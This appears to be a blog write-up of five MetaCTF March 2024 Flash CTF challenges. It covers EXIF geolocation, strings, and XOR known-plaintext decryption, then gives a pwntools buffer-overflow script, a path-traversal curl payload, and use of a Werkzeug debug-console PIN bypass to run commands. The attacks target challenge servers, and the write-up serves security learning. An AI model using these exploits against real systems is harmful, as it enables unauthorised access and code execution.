️🏴 MetaCTF March 2024 Flash CTF
A monthly mini CTF competition organized by MetaCTF and Antisyphon.
2024-03-22
MetaCTF March 2024 Flash CTF
A monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training and TCM Security.
Camping Adventures
My friend went camping near some beautiful lake the other day and sent me a photo, but they refuse to tell me where it was!
Can you help me figure out the name of that lake?
Simply enter the name of the lake as the flag. It does not need to be in the MetaCTF{} format.
Taking a quick look at the JPEG's metadata:
❯ exiftool lake.jpg | rg GPS
GPS Latitude Ref : North
GPS Longitude Ref : West
GPS Latitude : 39 deg 9' 7.99" N
GPS Longitude : 106 deg 24' 20.73" W
GPS Position
Converting that to the format more readily accepted by Google
Maps—39°09'07.99"N 106°24'20.73"W
—shows that this is "Emerald Lake"
(somewhere in Colorado), which is the flag.
26 Dimensions
The supercomputing center just put out a program that checks physics theories for correctness. Can you figure out the answer to the universe and everything?
Perhaps it's not as smart as they claim it is, and it has the answer hardcoded?
This one is hiding in plain sight:
❯ strings physics-checker | rg Meta
MetaCTF{wow_ther3s_lik3_littl3_str1ng5_1n_stuff}
Xylophone Network Graphics
I generated some art as a PNG image, and then encrypted the file using an 8-character-long key that was repeated.
I can't remember what it was! Can you help me decrypt the image and retrieve the flag?
According to the PNG (Portable Network Graphics) Specification, Version 1.2:
The first eight bytes of a PNG file always contain the following (decimal) values:
137 80 78 71 13 10 26 10
With an 8-character key and an 8-byte header, this is effectively a known-plaintext attack:
with open("encrypted.xpng", "rb") as i:
encrypted = i.read()
header = (int(b) for b in "137 80 78 71 13 10 26 10".split())
key = [a ^ b for a, b in zip(encrypted[:8], header)]
chunks = (encrypted[i:i+8] for i in range(0, len(encrypted), 8))
decrypted = (
key[i] ^ c
for chunk in chunks
for i, c in enumerate(chunk)
)
with open("decrypted.png", "wb") as o:
o.write(bytes(decrypted))
That decrypted PNG is:
…which, beneath the glorious WordArt, reads:
MetaCTF{kn0wn_pl4int3xt_d3cryption}
How Cool Are You?
Are you cool enough to get in? Connect via
nc kubenode.mctf.io 30005
and find out.You can grab the binary here, and the source here. Good luck.
The challenge itself greets me with something I've always known:
──(root㉿psy-xps-13)-[/mnt]
└─# ./chal
Whoa there, my dude. Only the truly cool are allowed in here.
What's your name? PsypherPunk
PsypherPunk, it looks like your coolness value is 6990.
I'm sorry, you're just not cool enough. Get lost!
Harsh but fair.
The input name is stored in a char[64]
which is read via an unsafe gets()
,
which is ripe for a buffer-overflow. Specifically, your_name
needs to
overflow that boundary, then write exactly 1,500,000,001 into the next
variable your_estimated_coolness
.
Expressed as little-endian bytes, that's:
>>> int.to_bytes(1500000001, 4)[::-1]
b'\x01/hY'
However, it's not just 64 bytes plus that: your_name
is not necessarily
adjacent to your_estimated_coolness
. So iterating locally using
pwntools.process
, it's actually 76 bytes needed to overflow:
from pwn import process, remote
p = remote("kubenode.mctf.io", 30005)
_ = p.readuntil(b"What's your name? ")
name = b"A" * 76 + int.to_bytes(1500000001, 4)[::-1]
p.sendline(name)
_ = p.readuntil(b"Oh, right")
print(p.readline().decode().split()[-1])
p.close()
That results in:
┌──(root㉿psy-xps-13)-[/mnt]
└─# ./how-cool-are-you.py
[+] Opening connection to kubenode.mctf.io on port 30005: Done
MetaCTF{oh_w0w_y0ur3_pr3tty_c00l_aft3r_a11}
[*] Closed connection to kubenode.mctf.io port 30005
FlaskForm Pharmaceuticals
We at FlaskForm Pharmaceuticals have been developing potions for ages, but we just developed our new website! Come check it out! Spawn an instance below to get started.
You can download the source code here.
When running this locally, the flag can be read locally via a simple LFI; remotely, however:
❯ curl http://dphltvzl.chals.mctf.io/products/detail \
∙ --request POST \
∙ --header 'Content-Type: application/json' \
∙ --data-raw '{"file":"../flag.txt"}'
{"content":"[Errno 13] Permission denied: './potion_details/../flag.txt'"}
The error is due to the Dockerfile
setup:
RUN chmod 555 /app/readflag
RUN chmod 400 /app/flag.txt
RUN chown root:root /app/flag.txt
RUN chmod u+s /app/readflag
The Flask instance, however, is running in debug mode:
def start_server():
run_simple('0.0.0.0', 8000, app, use_reloader=True, use_debugger=True, use_evalex=True)
…so the console is available at /console
but is protected by a generated
PIN. Similar to the HackTheBox challenge
Desynth Recruit
(which I coincidentally solved not too long ago), it's possible to use
wdahlenburg/werkzeug-debug-console-bypass
in combination with the LFI to leak the associated details and to determine the
PIN.
Once the PIN's generated, the console allows the readflag
binary to be read:
>>> import os
>>> print(os.popen("/app/readflag").read())
MetaCTF{m4g1c4l_fl4sks_sh3lv3d_4nd_f1led}